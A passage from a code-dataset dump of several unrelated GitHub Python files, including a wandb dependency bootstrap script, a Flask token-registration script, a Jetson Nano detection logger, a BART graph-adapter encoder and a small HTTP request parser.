requirements.txt\n# force the frozen versions\nelse:\n OPTS.append(\"--force\")\n\nTORCH_DEP_REGEX = r\"torch(vision|audio)?==\\d+\\.\\d+\\.\\d+(\\+(?:cu[\\d]{2,3})|(?:\\+cpu))?\"\n\n\ndef install_deps(\n deps: List[str],\n failed: Optional[Set[str]] = None,\n extra_index: Optional[str] = None,\n opts: Optional[List[str]] = None,\n) -> Optional[Set[str]]:\n \"\"\"Install pip dependencies.\n\n Arguments:\n deps {List[str]} -- List of dependencies to install\n failed (set, None): The libraries that failed to install\n\n Returns:\n deps (str[], None): The dependencies that failed to install\n \"\"\"\n try:\n # Include only uri if @ is present\n clean_deps = [d.split(\"@\")[-1].strip() if \"@\" in d else d for d in deps]\n index_args = [\"--extra-index-url\", extra_index] if extra_index else []\n print(\"installing {}...\".format(\", \".join(clean_deps)))\n opts = opts or []\n args = [\"pip\", \"install\"] + opts + clean_deps + index_args\n sys.stdout.flush()\n subprocess.check_output(args, stderr=subprocess.STDOUT)\n return failed\n except subprocess.CalledProcessError as e:\n if failed is None:\n failed = set()\n num_failed = len(failed)\n current_pkg = None\n for line in e.output.decode(\"utf8\").splitlines():\n # Since the name of the package might not be on the same line as\n # the error msg, keep track of the currently installing package\n current_pkg = get_current_package(line, clean_deps, current_pkg)\n\n if \"error: subprocess-exited-with-error\" in line:\n if current_pkg is not None:\n failed.add(current_pkg)\n elif line.startswith(\"ERROR:\"):\n clean_dep = find_package_in_error_string(clean_deps, line)\n if clean_dep is not None:\n if clean_dep in deps:\n failed.add(clean_dep)\n else:\n for d in deps:\n if clean_dep in d:\n failed.add(d.replace(\" \", \"\"))\n break\n if len(set(clean_deps) - failed) == 0:\n return failed\n elif len(failed) > num_failed:\n return install_deps(\n list(set(clean_deps) - failed),\n failed,\n extra_index=extra_index,\n opts=opts,\n )\n else:\n return failed\n\n\ndef main() -> None:\n \"\"\"Install deps in requirements.frozen.txt.\"\"\"\n extra_index = None\n torch_reqs = []\n if os.path.exists(\"requirements.frozen.txt\"):\n with open(\"requirements.frozen.txt\") as f:\n print(\"Installing frozen dependencies...\")\n reqs = []\n for req in f:\n if (\n len(ONLY_INCLUDE) == 0\n or req in ONLY_INCLUDE\n or req.split(\"=\")[0].lower() in ONLY_INCLUDE\n ):\n # can't pip install wandb==0.*.*.dev1 through pip. Lets just install wandb for now\n if req.startswith(\"wandb==\") and \"dev1\" in req:\n req = \"wandb\"\n match = re.match(\n TORCH_DEP_REGEX,\n req,\n )\n if match:\n variant = match.group(2)\n if variant:\n extra_index = (\n f\"https://download.pytorch.org/whl/{variant[1:]}\"\n )\n torch_reqs.append(req.strip().replace(\" \", \"\"))\n else:\n reqs.append(req.strip().replace(\" \", \"\"))\n else:\n print(f\"Ignoring requirement: {req} from frozen requirements\")\n failed = install_deps(reqs, opts=OPTS) or set()\n with open(\"_wandb_bootstrap_errors.json\", \"w\") as f:\n f.write(json.dumps({\"pip\": list(failed)}))\n if len(failed) > 0:\n sys.stderr.write(\n FAILED_PACKAGES_PREFIX + \",\".join(failed) + FAILED_PACKAGES_POSTFIX\n )\n sys.stderr.flush()\n install_deps(torch_reqs, extra_index=extra_index)\n else:\n print(\"No frozen requirements found\")\n\n\ndef add_version_to_package_name(deps: List[str], package: str) -> Optional[str]:\n \"\"\"Add the associated version to a package name.\n\n For example: `my-package` -> `my-package==1.0.0`\n \"\"\"\n for dep in deps:\n if dep.split(\"==\")[0] == package:\n return dep\n return None\n\n\ndef get_current_package(\n line: str, deps: List[str], current_pkg: Optional[str]\n) -> Optional[str]:\n \"\"\"Tries to pull a package name from the line.\n\n Used to keep track of what the currently-installing package is,\n in case an error message isn't on the same line as the package\n \"\"\"\n # \"Collecting my-package==1.0.0\"\n if line.startswith(\"Collecting\"):\n return line.split(\" \")[1]\n # \"Building wheel for my-package (pyproject.toml): finished with status 'error'\"\n elif line.strip().startswith(\"Building wheel\") and line.strip().endswith(\n \"finished with status 'error'\"\n ):\n return add_version_to_package_name(deps, line.strip().split(\" \")[3])\n # \"Running setup.py install for my-package: finished with status 'error'\"\n elif line.strip().startswith(\"Running setup.py install\") and line.strip().endswith(\n \"finished with status 'error'\"\n ):\n return add_version_to_package_name(deps, line.strip().split(\" \")[4][:-1])\n return current_pkg\n\n\n# hacky way to get the name of the requirement that failed\n# attempt last word which is the name of the package often\n# fall back to checking all words in the line for the package name\ndef find_package_in_error_string(deps: List[str], line: str) -> Optional[str]:\n # if the last word in the error string is in the list of deps, return it\n last_word = line.split(\" \")[-1]\n if last_word in deps:\n return last_word\n # if the last word is not in the list of deps, check all words\n # TODO: this could report the wrong package if the error string\n # contains a reference to another package in the deps\n # before the package that failed to install\n for word in line.split(\" \"):\n if word.strip(\",\") in deps:\n return word\n # if we can't find the package, return None\n return None\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"wandb/wandb","sub_path":"wandb/sdk/launch/builder/templates/_wandb_bootstrap.py","file_name":"_wandb_bootstrap.py","file_ext":"py","file_size_in_byte":7226,"program_lang":"python","lang":"en","doc_type":"code","stars":7479,"dataset":"github-code","pt":"37"} +{"seq_id":"6487987674","text":"import argparse\nimport os\nimport uuid\n\nimport jwt\nfrom backend.models import Component\nfrom config import app_config\nfrom dotenv import load_dotenv\nfrom flask import Flask\nfrom flask_cors import CORS\nfrom flask_migrate import Migrate\nfrom global_variables import db\n\nload_dotenv()\n\nparser = argparse.ArgumentParser(\n prog=\"ProgramName\",\n description=\"What the program does\",\n epilog=\"Text at the bottom of help\",\n)\nparser.add_argument(\"component_name\") # positional argument\n\nconfig_name = os.getenv(\"FLASK_ENV\", \"default\")\n\nSQLALCHEMY_ENGINE_OPTIONS = {\n \"pool_size\": None,\n \"pool_recycle\": None,\n}\n\napp = Flask(__name__)\napp.config.from_object(app_config[config_name])\ndb.init_app(app)\n\n\n@app.before_first_request\ndef create_tables():\n db.create_all()\n\n\nmigrate = Migrate(app, db, render_as_batch=True) # obj for db migrations\nCORS(app)\n\n\nif __name__ == \"__main__\":\n args = parser.parse_args()\n\n with app.app_context():\n component = Component.query.filter_by(\n component_name=args.component_name\n ).first()\n if not component:\n new_component = Component(\n public_id=str(uuid.uuid4()), component_name=args.component_name\n )\n db.session.add(new_component)\n db.session.commit()\n token = jwt.encode(\n {\"public_id\": component.public_id}, app.config[\"SECRET_KEY\"], \"HS256\"\n )\n output_token_file = f\"./tokens/{args.component_name}.txt\"\n os.makedirs(os.path.dirname(output_token_file), exist_ok=True)\n with open(output_token_file, \"w+\") as f:\n f.write(token)\n","repo_name":"yozice/secure-videoanalytics","sub_path":"source/integration-component/register_component.py","file_name":"register_component.py","file_ext":"py","file_size_in_byte":1598,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"} +{"seq_id":"72491862828","text":"import time\nimport sys\nimport datetime\nimport subprocess\nimport sys\nimport os\nimport datetime\nimport traceback\nimport math\nimport base64\nimport json\nfrom time import gmtime, strftime\nimport random, string\nimport time\nfrom time import gmtime, strftime\nimport random, string\nimport psutil\nimport base64\nimport uuid\n# Importing socket library \nimport socket \n\nimport jetson.inference\nimport jetson.utils\n\nimport argparse\n\nexternal_IP_and_port = ('198.41.0.4', 53) # a.root-servers.net\nsocket_family = socket.AF_INET\n\ndef IP_address():\n try:\n s = socket.socket(socket_family, socket.SOCK_DGRAM)\n s.connect(external_IP_and_port)\n answer = s.getsockname()\n s.close()\n return answer[0] if answer else None\n except socket.error:\n return None\n\n# Get MAC address of a local interfaces\ndef psutil_iface(iface):\n # type: (str) -> Optional[str]\n import psutil\n nics = psutil.net_if_addrs()\n if iface in nics:\n nic = nics[iface]\n for i in nic:\n if i.family == psutil.AF_LINK:\n return i.address\n# Random Word\ndef randomword(length):\n return ''.join(random.choice(\"ABCDEFGHIJKLMNOPQRSTUVWXYZ\".lower()) for i in range(length))\n\n# Timer\nstart = time.time()\npacket_size=3000\n\n# Create unique id\nuniqueid = 'nano_uuid_{0}_{1}'.format(randomword(3),strftime(\"%Y%m%d%H%M%S\",gmtime()))\nuuid = '{0}_{1}'.format(strftime(\"%Y%m%d%H%M%S\",gmtime()),uuid.uuid4())\n\nhost_name = socket.gethostname()\nhost_ip = socket.gethostbyname(host_name)\n\n# image output\nfilename = '/opt/demo/images/image_{0}_{1}.jpg'.format(randomword(3),strftime(\"%Y%m%d%H%M%S\",gmtime()))\nfilename2 = '/opt/demo/images/out_{0}_{1}.jpg'.format(randomword(3),strftime(\"%Y%m%d%H%M%S\",gmtime()))\n\n# CPU Temp\nf = open(\"/sys/devices/virtual/thermal/thermal_zone1/temp\",\"r\")\ncputemp = str( f.readline() )\ncputemp = cputemp.replace('\\n','')\ncputemp = cputemp.strip()\ncputemp = str(round(float(cputemp)) / 1000)\ncputempf = str(round(9.0/5.0 * float(cputemp) + 32))\nf.close()\n# GPU Temp\nf = open(\"/sys/devices/virtual/thermal/thermal_zone2/temp\",\"r\")\ngputemp = str( f.readline() )\ngputemp = gputemp.replace('\\n','')\ngputemp = gputemp.strip()\ngputemp = str(round(float(gputemp)) / 1000)\ngputempf = str(round(9.0/5.0 * float(gputemp) + 32))\nf.close()\n \nwidth = 1280\nheight=720\ncamera = \"/dev/video0\"\n\n# create the camera and display\ncamera = jetson.utils.gstCamera(width, height, camera)\ncamera.Open()\nimg, width, height = camera.CaptureRGBA(zeroCopy=1)\n\nipaddress = IP_address()\n\nnetwork=\"ssd-mobilenet-v2\"\noverlay=\"box,labels,conf\"\nthreshold = 0.5\nargv =[]\n\n# load the object detection network\nnet = jetson.inference.detectNet(network, argv, threshold)\n\n# detect objects in the image (with overlay)\ndetections = net.Detect(img, width, height, overlay)\n\n# print the detections\nprint(\"detected {:d} objects in image\".format(len(detections)))\n\ndconfidence = 0\ndleft = 0\ndtop = 0\ndright = 0\ndbottom = 0\ndwidth = 0\ndheight = 0\ndarea = 0\ndcenter = 0\n\nfor detection in detections:\n print(detection)\n dconfidence = detection.Confidence\n dleft = detection.Left\n\n# print out timing info\nnet.PrintProfilerTimes()\n\n # -- Center: (674.339, 367.445)\n\n\n\njetson.utils.cudaDeviceSynchronize()\njetson.utils.saveImageRGBA(filename2, img, width, height)\nnet.PrintProfilerTimes()\nend = time.time()\nrow = { }\n\nrow['uuid'] = uniqueid\nrow['ipaddress']=ipaddress\nrow['networktime'] = net.GetNetworkTime() \nrow['detectleft']= dleft\nrow['detectconfidence'] = (dconfidence *100)\n#row['top1pct'] = (confidence * 100)\n#row['top1'] = class_desc \nrow['cputemp'] = cputemp \nrow['gputemp'] = gputemp \nrow['gputempf'] = gputempf\nrow['cputempf'] = cputempf\nrow['runtime'] = str(round(end - start)) \nrow['host'] = os.uname()[1]\nrow['filename'] = filename2\nrow['host_name'] = host_name\nrow['macaddress'] = psutil_iface('wlan0')\nrow['end'] = '{0}'.format( str(end ))\nrow['te'] = '{0}'.format(str(end-start))\nrow['systemtime'] = datetime.datetime.now().strftime('%m/%d/%Y %H:%M:%S')\nrow['cpu'] = psutil.cpu_percent(interval=1)\nusage = psutil.disk_usage(\"/\")\nrow['diskusage'] = \"{:.1f} MB\".format(float(usage.free) / 1024 / 1024)\nrow['memory'] = psutil.virtual_memory().percent\nrow['id'] = str(uuid)\njson_string = json.dumps(row)\nfa=open(\"/opt/demo/logs/detect.log\", \"a+\")\nfa.write(json_string + \"\\n\")\nfa.close()\n","repo_name":"tspannhw/minifi-jetson-nano","sub_path":"detect.py","file_name":"detect.py","file_ext":"py","file_size_in_byte":4375,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"} +{"seq_id":"37809478734","text":"# https://leetcode-cn.com/problems/validate-stack-sequences/\n# 2022-04-27\nfrom typing import List\n\n\nclass Solution:\n def validateStackSequences(self, pushed: List[int], popped: List[int]) -> bool:\n stack = []\n index_pop,length = 0,len(popped)\n for x in pushed:\n stack.append(x)\n if index_pop == length:\n break\n while stack and stack[-1] == popped[index_pop]:\n stack.pop()\n index_pop +=1\n return index_pop == length","repo_name":"hubing1791/my_leetcode","sub_path":"sword/sword_31_validate_stack_sequences/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23506781088","text":"from transformers.models.bart.modeling_bart import *\nfrom transformers.models.bart.modeling_bart import _expand_mask\nfrom spring_amr.adapter import *\nimport spring_amr.utils as utils\n\n\nclass BartEncoderWithAdapter(BartEncoder):\n def __init__(self, config: BartConfig, embed_tokens: Optional[nn.Embedding] = None, adapter_config=None):\n super().__init__(config, embed_tokens)\n\n self.adapter_config = adapter_config\n device = self.device\n\n if adapter_config.mlp_mode:\n mlp_params = self.adapter_config.mlp_params if hasattr(self.adapter_config, 'mlp_params') else dict()\n self.adapters = nn.ModuleList([AdpaterWrapper(\n SimpleAdapter(config.d_model, **mlp_params).to(device)\n ).to(device) for _ in range(len(self.adapter_config.mlp_layers))])\n self.adapt_dict = {k: self.adapters[i] for i, k in\n enumerate(self.adapter_config.mlp_layers)}\n\n graph_class = MultiGraphConvAdapter if self.adapter_config.graph_type == 'multi' else GraphConvAdapter\n self.graph_adapters = nn.ModuleList([graph_class(config.d_model, config.d_model, **self.adapter_config.graph_params)\n for _ in range(len(self.adapter_config.graph_layers))])\n self.graph_adapt_dict = {k: self.graph_adapters[i] for i, k in enumerate(self.adapter_config.graph_layers)}\n # This flag controls the leaked mode. True value means structural adapters are switched on\n self.leak_path = False\n # This attribute contains WAG data when the leaked mode is on\n self.orig_graph_data = None\n\n def forward(\n self,\n input_ids=None,\n attention_mask=None,\n head_mask=None,\n inputs_embeds=None,\n output_attentions=None,\n output_hidden_states=None,\n return_dict=None,\n #leak_path=False\n ):\n r\"\"\"\n Args:\n input_ids (:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length)`):\n Indices of input sequence tokens in the vocabulary. Padding will be ignored by default should you\n provide it.\n\n Indices can be obtained using :class:`~transformers.BartTokenizer`. See\n :meth:`transformers.PreTrainedTokenizer.encode` and :meth:`transformers.PreTrainedTokenizer.__call__`\n for details.\n\n `What are input IDs? <../glossary.html#input-ids>`__\n attention_mask (:obj:`torch.Tensor` of shape :obj:`(batch_size, sequence_length)`, `optional`):\n Mask to avoid performing attention on padding token indices. Mask values selected in ``[0, 1]``:\n\n - 1 for tokens that are **not masked**,\n - 0 for tokens that are **masked**.\n\n `What are attention masks? <../glossary.html#attention-mask>`__\n head_mask (:obj:`torch.Tensor` of shape :obj:`(encoder_layers, encoder_attention_heads)`, `optional`):\n Mask to nullify selected heads of the attention modules. Mask values selected in ``[0, 1]``:\n\n - 1 indicates the head is **not masked**,\n - 0 indicates the head is **masked**.\n\n inputs_embeds (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length, hidden_size)`, `optional`):\n Optionally, instead of passing :obj:`input_ids` you can choose to directly pass an embedded\n representation. This is useful if you want more control over how to convert :obj:`input_ids` indices\n into associated vectors than the model's internal embedding lookup matrix.\n output_attentions (:obj:`bool`, `optional`):\n Whether or not to return the attentions tensors of all attention layers. See ``attentions`` under\n returned tensors for more detail.\n output_hidden_states (:obj:`bool`, `optional`):\n Whether or not to return the hidden states of all layers. See ``hidden_states`` under returned tensors\n for more detail.\n return_dict (:obj:`bool`, `optional`):\n Whether or not to return a :class:`~transformers.file_utils.ModelOutput` instead of a plain tuple.\n \"\"\"\n output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions\n output_hidden_states = (\n output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states\n )\n return_dict = return_dict if return_dict is not None else self.config.use_return_dict\n\n # retrieve input_ids and inputs_embeds\n if input_ids is not None and inputs_embeds is not None:\n raise ValueError(\"You cannot specify both input_ids and inputs_embeds at the same time\")\n elif input_ids is not None:\n input_shape = input_ids.size()\n input_ids = input_ids.view(-1, input_shape[-1])\n elif inputs_embeds is not None:\n input_shape = inputs_embeds.size()[:-1]\n else:\n raise ValueError(\"You have to specify either input_ids or inputs_embeds\")\n\n if inputs_embeds is None:\n inputs_embeds = self.embed_tokens(input_ids) * self.embed_scale\n embed_pos = self.embed_positions(input_shape)\n hidden_states = inputs_embeds + embed_pos\n\n is_full_graph_mode = hasattr(self, 'orig_graph_data') and self.orig_graph_data is not None and self.orig_graph_data[1] is not None\n\n if (self.adapter_config.graph_mode or self.leak_path) and is_full_graph_mode:\n # Full Graph mode\n orig_tokens_mask, extra_tokens_mask, new_attention_mask, extra_states_mask = self.orig_graph_data[1]\n padding_mask = (new_attention_mask == False)\n extra_states = self.calc_extra_node_states(self.orig_graph_data[0], extra_states_mask)\n padding_states = self.embed_tokens(torch.ones((padding_mask.sum(),), dtype=int).to(hidden_states.device))\n\n if self.adapter_config.extra_nodes_as_input:\n hidden_states = inputs_embeds\n attention_mask = new_attention_mask\n extra_states *= self.embed_scale\n new_hidden_states = self.combine_extra_states(orig_tokens_mask, extra_tokens_mask, padding_mask,\n hidden_states[input_ids != self.padding_idx], extra_states, padding_states)\n embed_pos = self.embed_positions(new_hidden_states.shape)\n hidden_states = new_hidden_states + embed_pos\n\n bool_attention_mask = attention_mask.bool()\n\n hidden_states = self.layernorm_embedding(hidden_states)\n hidden_states = nn.functional.dropout(hidden_states, p=self.dropout, training=self.training)\n\n # expand attention_mask\n if attention_mask is not None:\n # [bsz, seq_len] -> [bsz, 1, tgt_seq_len, src_seq_len]\n attention_mask = _expand_mask(attention_mask, inputs_embeds.dtype)\n\n encoder_states = () if output_hidden_states else None\n all_attentions = () if output_attentions else None\n\n # check if head_mask has a correct number of layers specified if desired\n if head_mask is not None:\n if head_mask.size()[0] != (len(self.layers)):\n raise ValueError(\n f\"The head_mask should be specified for {len(self.layers)} layers, but it is for {head_mask.size()[0]}.\"\n )\n\n for idx, encoder_layer in enumerate(self.layers):\n if output_hidden_states:\n encoder_states = encoder_states + (hidden_states,)\n # add LayerDrop (see https://arxiv.org/abs/1909.11556 for description)\n dropout_probability = random.uniform(0, 1)\n if self.training and (dropout_probability < self.layerdrop): # skip the layer\n layer_outputs = (None, None)\n else:\n if self.gradient_checkpointing and self.training:\n\n def create_custom_forward(module):\n def custom_forward(*inputs):\n return module(*inputs, output_attentions)\n\n return custom_forward\n\n layer_outputs = torch.utils.checkpoint.checkpoint(\n create_custom_forward(encoder_layer),\n hidden_states,\n attention_mask,\n (head_mask[idx] if head_mask is not None else None),\n )\n else:\n layer_outputs = encoder_layer(\n hidden_states,\n attention_mask,\n layer_head_mask=(head_mask[idx] if head_mask is not None else None),\n output_attentions=output_attentions,\n )\n\n hidden_states = layer_outputs[0]\n graph_info = {}\n graph_info['x'] = hidden_states\n graph_info['input_ids'] = input_ids\n\n # MLP Adapters\n if self.adapter_config.mlp_mode and idx in self.adapt_dict:\n x = graph_info['x']\n x[bool_attention_mask] = self.adapt_dict[idx](bool_attention_mask, x)\n hidden_states = x\n\n # Structural Adapters\n if (self.adapter_config.graph_mode or self.leak_path) and idx in self.graph_adapt_dict:\n cur_edges = self.cur_edges if self.leak_path or (\n self.adapter_config.graph_mode and self.adapter_config.leak_mode) else None\n\n if not self.adapter_config.extra_nodes_as_input and is_full_graph_mode:\n graph_hidden_states = self.combine_extra_states(orig_tokens_mask, extra_tokens_mask, padding_mask,\n hidden_states[bool_attention_mask],\n extra_states, padding_states)\n graph_hidden_states, _, _ = self.graph_adapt_dict[idx](\n graph_hidden_states,\n mask=torch.logical_or(orig_tokens_mask, extra_tokens_mask),\n edges=cur_edges,\n )\n hidden_states[bool_attention_mask] = graph_hidden_states[orig_tokens_mask]\n extra_states = graph_hidden_states[extra_tokens_mask]\n else:\n hidden_states, _, _ = self.graph_adapt_dict[idx](\n hidden_states,\n mask=bool_attention_mask,\n edges=cur_edges,\n )\n\n if output_attentions:\n all_attentions = all_attentions + (layer_outputs[1],)\n\n if output_hidden_states:\n encoder_states = encoder_states + (hidden_states,)\n\n if not return_dict:\n return tuple(v for v in [hidden_states, encoder_states, all_attentions] if v is not None)\n\n return BaseModelOutput(\n last_hidden_state=hidden_states, hidden_states=encoder_states, attentions=all_attentions,\n )\n\n def calc_extra_node_states(self, token_ids, seq_mask):\n token_embeds = self.embed_tokens(token_ids)\n pad_mask = (token_ids != 1).int() # Here 1 is from our dataset not bart padding_idx\n diviser = pad_mask.sum(dim=-1).unsqueeze(-1)\n diviser[seq_mask == False] = 1\n token_embeds = (token_embeds * pad_mask.unsqueeze(3)).sum(dim=-2) / diviser\n return token_embeds[seq_mask]\n\n def combine_extra_states(self, orig_tokens_mask, extra_tokens_mask, padding_mask, orig_states, extra_states, padding_states):\n res_states = torch.zeros((orig_tokens_mask.shape[0], orig_tokens_mask.shape[1], orig_states.shape[-1]),\n dtype=orig_states.dtype, device=orig_states.device)\n res_states[orig_tokens_mask] = orig_states\n res_states[extra_tokens_mask] = extra_states\n res_states[padding_mask] = padding_states\n return res_states\n\n\nclass BartStructAdaptModel(BartModel):\n def __init__(self, config: BartConfig):\n BartPretrainedModel.__init__(self, config)\n\n padding_idx, vocab_size = config.pad_token_id, config.vocab_size\n self.shared = nn.Embedding(vocab_size, config.d_model, padding_idx)\n\n self.encoder = BartEncoderWithAdapter(config, self.shared, utils.dict_to_class(config.adapter_configs['encoder']))\n self.decoder = BartDecoder(config, self.shared)\n\n # Initialize weights and apply final processing\n self.post_init()\n\n\nclass BartStructAdaptForConditionalGeneration(BartForConditionalGeneration):\n def __init__(self, config: BartConfig):\n super().__init__(config)\n self.model = BartStructAdaptModel(config)\n self.register_buffer(\"final_logits_bias\", torch.zeros((1, self.model.shared.num_embeddings)))\n self.lm_head = nn.Linear(config.d_model, self.model.shared.num_embeddings, bias=False)\n\n # Initialize weights and apply final processing\n self.post_init()\n\nclass AMRBartForConditionalGeneration(BartStructAdaptForConditionalGeneration):\n def __init__(self, config: BartConfig):\n super().__init__(config)\n self._rev = None\n\n def init_reverse_model(self):\n rev = AMRBartForConditionalGeneration(self.model.config)\n rev.model.shared = self.model.shared\n rev.model.encoder = self.model.encoder\n rev.model.decoder.embed_tokens = self.model.decoder.embed_tokens\n rev.model.decoder.embed_positions = self.model.decoder.embed_positions\n self._rev = rev\n\n @property\n def rev(self):\n if self._rev is None:\n return self\n\n return self._rev\n\n def forward(\n self,\n input_ids=None,\n attention_mask=None,\n decoder_input_ids=None,\n decoder_attention_mask=None,\n head_mask=None,\n decoder_head_mask=None,\n cross_attn_head_mask=None,\n encoder_outputs=None,\n past_key_values=None,\n inputs_embeds=None,\n decoder_inputs_embeds=None,\n labels=None,\n use_cache=None,\n output_attentions=None,\n output_hidden_states=None,\n return_dict=None,\n #align_graph_edges=None\n ):\n r\"\"\"\n labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`):\n Labels for computing the masked language modeling loss. Indices should either be in ``[0, ...,\n config.vocab_size]`` or -100 (see ``input_ids`` docstring). Tokens with indices set to ``-100`` are ignored\n (masked), the loss is only computed for the tokens with labels in ``[0, ..., config.vocab_size]``.\n\n Returns:\n \"\"\"\n return_dict = return_dict if return_dict is not None else self.config.use_return_dict\n\n if labels is not None:\n if decoder_input_ids is None and decoder_inputs_embeds is None:\n decoder_input_ids = shift_tokens_right(\n labels, self.config.pad_token_id, self.config.decoder_start_token_id\n )\n\n outputs = self.model(\n input_ids,\n attention_mask=attention_mask,\n decoder_input_ids=decoder_input_ids,\n encoder_outputs=encoder_outputs,\n decoder_attention_mask=decoder_attention_mask,\n head_mask=head_mask,\n decoder_head_mask=decoder_head_mask,\n cross_attn_head_mask=cross_attn_head_mask,\n past_key_values=past_key_values,\n inputs_embeds=inputs_embeds,\n decoder_inputs_embeds=decoder_inputs_embeds,\n use_cache=use_cache,\n output_attentions=output_attentions,\n output_hidden_states=output_hidden_states,\n return_dict=return_dict,\n )\n lm_logits = self.lm_head(outputs[0]) + self.final_logits_bias\n\n masked_lm_loss = None\n if labels is not None:\n masked_lm_loss = F.nll_loss(\n lm_logits.log_softmax(-1).contiguous().view(-1, lm_logits.size(-1)),\n labels.contiguous().view(-1),\n ignore_index=self.config.pad_token_id)\n\n if not return_dict:\n output = (lm_logits,) + outputs[1:] # Add cache, hidden states and attention if they are here\n return ((masked_lm_loss,) + output) if masked_lm_loss is not None else output\n\n output = Seq2SeqLMOutput(\n loss=masked_lm_loss,\n logits=lm_logits,\n past_key_values=outputs.past_key_values,\n decoder_hidden_states=outputs.decoder_hidden_states,\n decoder_attentions=outputs.decoder_attentions,\n cross_attentions=outputs.cross_attentions,\n encoder_last_hidden_state=outputs.encoder_last_hidden_state,\n encoder_hidden_states=outputs.encoder_hidden_states,\n encoder_attentions=outputs.encoder_attentions,\n )\n return output\n","repo_name":"SapienzaNLP/LeakDistill","sub_path":"spring_amr/modeling_bart.py","file_name":"modeling_bart.py","file_ext":"py","file_size_in_byte":17198,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"37"} +{"seq_id":"21754940034","text":"#!/usr/bin/env python3.8\nimport asyncio\nfrom email.parser import Parser\nfrom functools import lru_cache\nfrom urllib.parse import urlparse\n\nMAX_REQ_LINE_LEN = 65535\nMAX_HEADERS_COUNT = 100\nREQ_END_SYMBOLS = [b'', b'\\n', b'\\r\\n']\n\n\nclass HTTPError(Exception):\n def __init__(self, status, description, request=None, body=None):\n super()\n self.status = status\n self.description = description\n self.request = request\n self.body = body\n\n\nclass Request:\n def __init__(self, method, target, version, headers, body=None):\n self.method = method\n self.target = target\n self.version = version\n self.headers = headers\n self.body = body\n\n def __str__(self):\n return ' '.join([self.method, self.target, self.version])\n\n @property\n def url(self):\n return urlparse(self.target)\n\n @property\n def path(self):\n return self.url.path\n\n\nasync def get_request_object(server, reader):\n raw_request = []\n raw_line = await asyncio.wait_for(reader.readline(), server.keep_alive_timeout)\n if not raw_line:\n raise ConnectionAbortedError\n raw_request.append(raw_line)\n while True:\n raw_line = await reader.readline()\n raw_request.append(raw_line)\n if raw_line in REQ_END_SYMBOLS:\n break\n request = parse_request(server, raw_request)\n if request.method == 'POST':\n body = await reader.read(int(request.headers['Content-Length']))\n request.body = body\n return request\n\n\ndef parse_request(server, raw_request):\n request_line = raw_request[0]\n headers = raw_request[1:]\n method, target, version = parse_request_line(request_line)\n headers = parse_headers(headers)\n host = headers.get('Host')\n if not host:\n raise HTTPError(400, 'Bad request', request_line, 'Host header is missing')\n if host not in (server.host, f'{server.host}:{server.port}'):\n raise HTTPError(404, 'Not Found', request_line)\n return Request(method, target, version, headers)\n\n\ndef parse_request_line(raw_line):\n if len(raw_line) > MAX_REQ_LINE_LEN:\n raise HTTPError(400, 'Bad request', raw_line, 'Line is too long')\n\n line = str(raw_line, 'iso-8859-1')\n parts = line.split()\n if len(parts) != 3:\n raise HTTPError(400, 'Bad request', raw_line, 'Malformed request line')\n\n method, target, version = parts\n if version != 'HTTP/1.1':\n raise HTTPError(505, 'HTTP Version Not Supported', raw_line)\n\n return method, target, version\n\n\ndef parse_headers(raw_headers):\n return Parser().parsestr(bytes.join(b'', raw_headers).decode('iso-8859-1'))\n","repo_name":"igorplyukhin/webserver","sub_path":"req_parser.py","file_name":"req_parser.py","file_ext":"py","file_size_in_byte":2643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19933352737","text":"import os\nfrom typing import Union, Callable, List\n\nimport torch\n\nfrom elit.common.dataset import TransformSequentialDataset\nfrom elit.common.transform import ToChar, WhitespaceTokenizer, AppendEOS, FieldToIndex\nfrom elit.common.vocab import Vocab\nfrom elit.utils.io_util import file_cache, get_resource, TimingFileIterator\nfrom elit.utils.log_util import flash, ErasablePrinter\n\n\nclass LanguageModelDataset(TransformSequentialDataset):\n\n def __init__(self,\n data: str,\n batch_size,\n seq_len,\n tokenizer='char',\n eos='\\n',\n strip=True,\n vocab=None,\n cache=False,\n transform: Union[Callable, List] = None) -> None:\n self.cache = cache\n self.eos = eos\n self.strip = strip\n super().__init__(transform)\n if isinstance(tokenizer, str):\n available_tokenizers = {\n 'char': ToChar('text', 'token'),\n 'whitespace': WhitespaceTokenizer('text', 'token')\n }\n assert tokenizer in available_tokenizers, f'{tokenizer} not supported, available options: {available_tokenizers.keys()} '\n self.append_transform(available_tokenizers[tokenizer])\n\n if vocab is None:\n vocab = Vocab()\n self.training = True\n else:\n self.training = vocab.mutable\n self.append_transform(AppendEOS('token', eos=eos))\n self.append_transform(FieldToIndex('token', vocab))\n self.batch_size = batch_size\n data = get_resource(data)\n self.data = data\n self.num_tokens = None\n self.load_file(data)\n self._fp = None\n if isinstance(seq_len, int):\n self.seq_len = lambda: seq_len\n else:\n self.seq_len = seq_len\n\n @property\n def vocab(self):\n return self.transform[-1].vocab\n\n @property\n def vocab_path(self):\n return os.path.splitext(self.data)[0] + '.vocab.json'\n\n def load_file(self, filepath):\n cache, valid = file_cache(filepath, not self.cache)\n if not valid or (self.vocab.mutable and not os.path.isfile(self.vocab_path)):\n with open(cache, 'wb') as out:\n tokens, lines = 0, 0\n f = TimingFileIterator(filepath)\n for line in f:\n if self.strip:\n line = line.strip()\n if not line:\n continue\n sample = {'text': line}\n sample = self.transform_sample(sample, inplace=True)\n for id in sample['token_id']:\n out.write((id).to_bytes(4, 'little'))\n tokens += len(sample['token_id'])\n lines += 1\n f.log(f'{tokens // 1000000}M tokens, {lines // 1000000}M lines\\n'\n f'{sample[\"token\"][:10]}')\n f.erase()\n if self.vocab.mutable:\n self.vocab.lock()\n self.vocab.save_json(self.vocab_path)\n self.num_tokens = tokens\n else:\n self.num_tokens = int(os.path.getsize(self.filecache) / 4)\n if self.vocab.mutable:\n self.vocab.load_json(self.vocab_path)\n\n def __iter__(self):\n batch_size = self.batch_size\n max_seq_len = 